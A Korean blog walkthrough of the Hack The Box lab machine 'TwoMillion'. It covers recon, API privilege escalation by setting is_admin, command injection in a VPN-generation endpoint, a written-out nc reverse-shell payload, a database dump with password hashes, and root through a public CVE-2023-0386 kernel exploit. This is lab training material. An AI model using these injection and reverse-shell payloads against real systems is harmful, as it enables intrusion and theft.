[HTB] TwoMillion

쥬스몬·2023년 6월 14일
0

HackTheBox

목록 보기
23/37

23년 6월 14일 기준 핵더박스의 남은 현역 머신들 중 하드 머신에 치이고 해결하지 못하고있다가 이지 머신이라도 패야겠다하는 마음에 리타이어 머신 목록에 들어가니 최상단에 TwoMilion이라는 머신이 있었다.

머신 생성일이 6월 7일이지만 머신에서 본 기억이없다... 그렇게 이백만 머신을 해결하는 과정을 기록해본다...

1. Port Scan

국룰이되어버린 포트 스캔을 진행한다. 22/tcp, 80/tcp

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 18:36 KST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.45 seconds

1.1. Recon (80/tcp)

브라우저를 통해 80/tcp에 접근하니 2million.htb으로 확인된다.

1.1.1. Directory Scan

스캔 결과에 전부 들어가 체크했지만 /invite, /register 경로 외 흥미로운 페이지는 없었다.

/register에는 초대코드를 입력해야하는데 없으면 가입이 안된다.


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://2million.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 162
________________________________________________

register                [Status: 200, Size: 4527, Words: 1512, Lines: 95, Duration: 304ms]
login                   [Status: 200, Size: 3704, Words: 1365, Lines: 81, Duration: 306ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 317ms]
api                     [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 285ms]
home                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 287ms]
404                     [Status: 200, Size: 1674, Words: 118, Lines: 46, Duration: 284ms]
invite                  [Status: 200, Size: 3859, Words: 1363, Lines: 97, Duration: 282ms]

1.1.2. Katana Scan

katana는 project discovery에서 개발한 차세대 크롤러/스파이더 툴이다. URL을 던져주면 정적 소스코드 내 링크된 모든 URL을 파싱해준다. 언제부턴가 웹 서비스 대상으로 탐색을 시작하기 전 돌리기 시작했다...👍🏻

juicemon 2million.htb % katana -u http://2million.htb

   __        __
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/ v0.0.2

		projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
http://2million.htb/
http://2million.htb/login
http://2million.htb/invite
http://2million.htb/css/htb-frontpage.css
http://2million.htb/js/htb-frontpage.min.js
http://2million.htb/css/htb-frontend.css
http://2million.htb/js/htb-frontend.min.js
http://2million.htb/js/inviteapi.min.js

/login

이지 머신이라 살짝 무시했었다. SQLi가 나올줄 알았다😅
(패스워드 찾기 기능은 동작하지 않았다)

/invite

초대 코드를 입력하는곳이다. 이곳에서도 SQLi나 HPP 공격 등을 진행했지만 소득은 없었다.

/js/inviteapi.min.js

럭키! 일반적으로 이런 형태의 js는 지나치는데... 어쩌다가 눈이 가서 확인하니 아래와같은 코드를 볼 수 있다.

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

2. Foothold

2번째 함수인 makeInviteCode의 코드 내용에서 확인한 URI로 curl을 쏘니 다음과 같은 결과를 볼 수 있었다.

juicemon 2million.htb % curl -s -X POST "http://2million.htb/api/v1/invite/how/to/generate" | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  },
  "hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}

힌트의 내용을 보니 data필드의 data가 ROT13 인코딩된것으로 확인되어 rot13.com에서 디코딩하였다.

초대 코드를 생성할 수 있는 URI가 보인다!

다시 curl을 쏘니 다음과 같은 결과를 볼 수 있었고 "code"의 내용을 디코딩하면 특정 코드를 확인할 수 있었다.

juicemon 2million.htb % curl -s -X POST "http://2million.htb/api/v1/invite/generate" | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "SDU0SkwtNVNKWEUtTzQzWjMtWlZVR1M=",
    "format": "encoded"
  }
}

코드를 입력하니 가입 페이지가 나온다.

이후 생성된 계정으로 로그인하면 디렉터리 스캔에서 발견하지 못했던 /home 경로로 리다이렉션한다.

2.1. Katana Scan (add header)

뭔가 확인해야될게 많아보인다... katana에 헤더를 추가하여 다시 스캔해보았더니 기존과 다른 결과를 확인할 수 있었다!

juicemon 2million.htb % katana -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -u http://2million.htb

   __        __
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/ v0.0.2

		projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
http://2million.htb/
http://2million.htb/login
http://2million.htb/invite
http://2million.htb/css/htb-frontpage.css
http://2million.htb/js/htb-frontpage.min.js
http://2million.htb/home
http://2million.htb/home/rules
http://2million.htb/home/changelog
http://2million.htb/home/access
http://2million.htb/logout
http://2million.htb/css/htb-backend.css
http://2million.htb/css/animate.css
http://2million.htb/js/htb-backend.min.js

확인해보니 /home, /home/rules, /home/changelog, /home/access 등에서 쓸만한 정보를 찾을 수 없었다.

이번에도 js에 힌트가 있을것같아 js들도 전부 뒤져봤지만 건질만한건 나오지 않았다.

2.2. Directory Scan (add header)

cookie header를 넣고 스캔을 돌리면 계속 세션이 터진다. 스킵한다.

2.3. API 탐색

API 관련해서 정찰을하다 기존 초대 코드를 생성했던 URL이 생각나서 천천히 찔러보다가 얻어걸렸는데, API 관련 라우팅 리스트를 보여준다.

junsoo.jo@Y000016911-M01A 2million.htb % curl -s "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" | jq .
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

/home 페이지에서 확인됐던 /api/v1/invite, /api/v1/user 관련 API는 이미 테스트했지만, 나온건 없었다.

/api/v1/admin/auth

부여받은 세션에 대한 사용자의 관리자 권한이 존재하는지 여부를 뿌려주는 API로 확인된다.

% curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" | jq .
{
  "message": false
}

/api/v1/admin/settings/update

API 경로만 보면 관리자 권한을 부여하는 API로 추정된다. API를 호출해보니 Content-type 헤더가 문제가 있는것으로 보인다.

% curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" | jq .
{
  "status": "danger",
  "message": "Invalid content type."
}

Response로 JSON을 받았으니 Request도 JSON일것으로 추정하고 Content-type 헤더에 application/json을 추가하니 정상 작동하지만 email 파라미터가 누락됐다는 메세지를 받는다.

% curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" | jq .
{
  "status": "danger",
  "message": "Missing parameter: email"
}

원한다면 맞춰줘야지... Request Body에 아래와 같이 추가하여 전송하니 이젠 is_admin 파라미터가 누락됐다한다.

% curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" -d '{"email":"juicemon@htb.com"}' | jq .
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

다시한번 is_admin 을 추가하니 친절하게도 0,1로 구성해달라고한다.

% curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" -d '{"email":"juicemon@htb.com", "is_admin": true}' | jq .
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1."
}

찐막으로 수정해서 전송했더니 juicemon 계정에 관리자 권한이 부여된것으로 보인다?

% curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" -d '{"email":"juicemon@htb.com", "is_admin": 1}' | jq .
{
  "id": 13,
  "username": "juicemon",
  "is_admin": 1
}

/api/v1/admin/vpn/generate

관리자 권한을 얻었으니 관리자 VPN를 생성하는것으로 추정되는 API를 호출한다. 이녀석도 Content-type 헤더가 필요한것같다.

% curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" | jq .
{
  "status": "danger",
  "message": "Invalid content type."
}

Content-type에 동일하게 json을 추가하여 전송하니 이번엔 username 파라미터가 없다고한다.

% curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" | jq .
{
  "status": "danger",
  "message": "Missing parameter: username"
}

맞춰주고 전송하니 jq로 파싱 에러가나서 jq를 떼고 호출해보니 아래와 같이 ovpn 파일의 내용이 전달된다.

2.4. Command Injection

위에서 확인한 /api/v1/admin/vpn/generate API 이외에 더이상 찔러볼만한 포인트는 없는것으로 판단되어 여기서 시간을 보냈다.

username 파라미터에 이것저것 다해본결과 Command Injection이 가능했다. (허무)

% curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" -d '{"username":"juicemon;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Shell Access (www-data)

명령 실행이 가능하니 바로 리버스 커넥션을 맺는다.

% curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=0k3tdinltd06fffgqbn74g2f6e" -H "Content-Type: application/json" -d '{"username":"juicemon;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.6 9000 >/tmp/f;"}'
% nc -l 9000 -vn
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@2million:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3.1. linpeas

환경변수 파일(.env)을 찾아서 보여주는 결과에서 유용한 결과를 볼 수 있었다.

╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 root root 87 Jun  2 18:56 /var/www/html/.env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=안보이지롱

3.1.1. MySQL

DB 조회

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| htb_prod           |
| information_schema |
+--------------------+
2 rows in set (0.002 sec)

테이블 조회

MariaDB [(none)]>  use htb_prod
use htb_prod
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [htb_prod]> show tables;
show tables;
+--------------------+
| Tables_in_htb_prod |
+--------------------+
| invite_codes       |
| users              |
+--------------------+
2 rows in set (0.000 sec)

데이터 확인

MariaDB [htb_prod]> select * from invite_codes;
select * from invite_codes;
+----+-------------------------+
| id | code                    |
+----+-------------------------+
|  2 | SP1F1-XQODG-4W8RX-DHW9K |
+----+-------------------------+
1 row in set (0.000 sec)

MariaDB [htb_prod]> select * from users;
select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username     | email                      | password                                                     | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX          | trx@hackthebox.eu          | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq |        1 |
| 12 | TheCyberGeek | thecybergeek@hackthebox.eu | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK |        1 |
| 13 | juicemon     | juicemon@htb.com           | $2y$10$2BWaxg31CQrXCSA6L/wtt.aHFivxMlzrc8beRyvGikwYViPENp3f2 |        1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
3 rows in set (0.001 sec)

Hash Crack

JohnTheRipper, HashCat으로 MySQL users 테이블에서 확인한 TRX, TheCyberGeek 계정의 패스워드 해시를 크랙해보았으나 크랙되지 않아 빠르게 포기한다.

4. Shell Access (admin)

킹받게도 .env 파일에 써져있는 계정/패스워드로 SSH 접근이 가능했다. 바로 sudo 권한부터 확인했으나 부여된 권한은 없었다.

% ssh admin@2million.htb
admin@2million.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun 14 12:50:11 PM UTC 2023

  System load:           0.0107421875
  Usage of /:            76.7% of 4.82GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.221
  IPv6 address for eth0: dead:beef::250:56ff:feb9:17bf

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Tue Jun  6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$ sudo -l
[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.

4.1. linpeas

admin 계정에서도 linpeas를 돌려봤고 /var/mail/admin 이라는 파일을 확인할 수 있었다.

╔══════════╣ Mails (limit 50)
271      4 -rw-r--r--   1 admin    admin         540 Jun  2 23:20 /var/mail/admin
271      4 -rw-r--r--   1 admin    admin         540 Jun  2 23:20 /var/spool/mail/admin

해당 파일을 확인해보니 뭐라뭐라 아무튼 linux kernel CVE가 있음요. 라는 얘기같다.

admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

5. LPE

출제자의 의도가 Linux Kernel Exploit일것으로 예상되어 Vulmon에 검색하니 CVE-2023-0386가 있다(?)

GitHub에 검색하니 PoC가 많이 보이지만 따봉이 제일 높은 xkaneiki/CVE-2023-0386를 사용해본다. (실전이라면 커널 익스는 사용하지 않았을것같다...)

해당 소스코드를 zip으로 받아서 대상 서버에 넘기고 unzip 후 빌드하였다.

admin@2million:~/CVE-2023-0386-main$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
  106 |     printf("offset %d\n", off);
      |                    ~^     ~~~
      |                     |     |
      |                     int   off_t {aka long int}
      |                    %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
  107 |     printf("size %d\n", size);
      |                  ~^     ~~~~
      |                   |     |
      |                   int   size_t {aka long unsigned int}
      |                  %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
  214 |     while (read(fd, content + clen, 1) > 0)
      |            ^~~~
      |            fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
  216 |     close(fd);
      |     ^~~~~
      |     pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
  221 |     rmdir(mount_path);
      |     ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c

이후 README.md에서 명시된것처럼 빌드를 실행한다.

admin@2million:~/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0

실행 이후 새로운 터미널로 접근하여 다음 명령을 실행하면 권한 상승이된다!

% ssh admin@2million.htb
admin@2million.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun 14 01:10:57 PM UTC 2023

  System load:           0.0
  Usage of /:            79.2% of 4.82GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             230
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.221
  IPv6 address for eth0: dead:beef::250:56ff:feb9:17bf

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Wed Jun 14 12:50:12 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$ cd CVE-2023-0386-main/
admin@2million:~/CVE-2023-0386-main$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun 14 13:11 .
drwxrwxr-x 6 root   root     4096 Jun 14 13:11 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:~/CVE-2023-0386-main# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)

보통은 여기서 끝나는데 /root/thank_you.json 파일이 있어서 확인해봤다. 뭔가 아직 할말이 더있나보다.

root@2million:/root# cat thank_you.json
{"encoding": "url", "data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"}

json에서 말하는것처럼 URL 인코딩되어있다하여 디코딩하니 다음과 같은 데이터를 확인할 수 있었다.

{"encoding": "hex", "data": "7b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d"}

GPT에게 시킨다. 열일하는 GPT인턴.

코드를 실행하니 잘 복호화해주었다.

% go run main.go 
Decoded string: {"encryption": "xor", "encrpytion_key": "HackTheBox", "encoding": "base64", "data": "DAQCGXQgBCEELCAEIQQsSCYtAhU9DwofLURvSDgdaAARDnQcDTAGFCQEB0sgB0UjARYnFA0IMUgEYgIXJQQNHzsdFmICESQEEB87BgBiBhZoDhYZdAIKNx0WLRhDHzsPADYHHTpPQzw9HA1iBhUlBA0YMUgPLRZYKQ8HSzMaBDYGDD0FBkd0HwBiDB0kBAEZNRwAYhsQLUECCDwBADQKFS0PF0s7DkUwChkrCQoFM0hXYgIRJA0KBDpIFycCGToKAgk4DUU3HB06EkJLAAAMMU8RJgIRDjABBy4KWC4EAh90Hwo3AxxoDwwfdAAENApYKgQGBXQYCjEcESoNBksjAREqAA08QQYKNwBFIwEcaAQVDiYRRS0BHWgOBUstBxBsZXIOEwwGdBwNJ08OLRMaSzYNAisBFiEPBEd0IAQhBCwgBCEELEgNIxxYKgQGBXQKECsDDGgUEwQ6SBEqClgqBA8CMQ5FNgcZPEEIBTsfCScLHy1BEAM1GgwsCFRoAgwHOAkHLR0ZPAgMBXhIBCwLWCAADQ8nRQosTx0wEQYZPQ0LIQpYKRMGSzIdCyYOFS0PFwo4SBEtTwgtExAEOgkJYg4WLEETGTsOADEcEScPAgd0DxctGAwgT0M/Ow8ANgcdOk1DHDFIDSMZHWgHDBggDRcnC1gpD0MOOh4MMAAWJQQNH3QfDScdHWgIDQU7HgQ2BhcmQRcDJgETJxxYKQ8HSycDDC4DC2gAEQ50AAosChxmQSYKNwBFIQcZJA0GBTMNRSEAFTgNBh8xDEliChkrCUMGNQsNKwEdaAIMBSUdADAKHGRBAgUwSAA0CgoxQRAAPQQJYgMdKRMNDjBIDSMcWCsODR8mAQc3Gx0sQRcEdBwNJ08bJw0PDjccDDQKWCEPFw44BAwlChYrBEMfPAkRYgkNLQ0QSyAADDFPDiEDEQo6HEUhABUlFA0CIBFLSGUsJ0EGCjcARSMBHGgEFQ4mEUUvChUqBBFLOw5FNgcdaCkCCD88DSctFzBBAAQ5BRAsBgwxTUMfPAkLKU8BJxRDDTsaRSAKESYGQwp0GAQwG1gnB0MfPAEWYgYWKxMGDz0KCSdPEicUEQUxEUtiNhc9E0MIOwYRMAYaPRUKBDobRSoODi1BEAM1GAAmTwwgBEMdMRocYgkZKhMKCHQHA2IADTpBEwc1HAMtHRVoAA0PdAELMR8ROgQHSyEbRTYAWCsODR89BhAjAxQxQQoFOgcTIxsda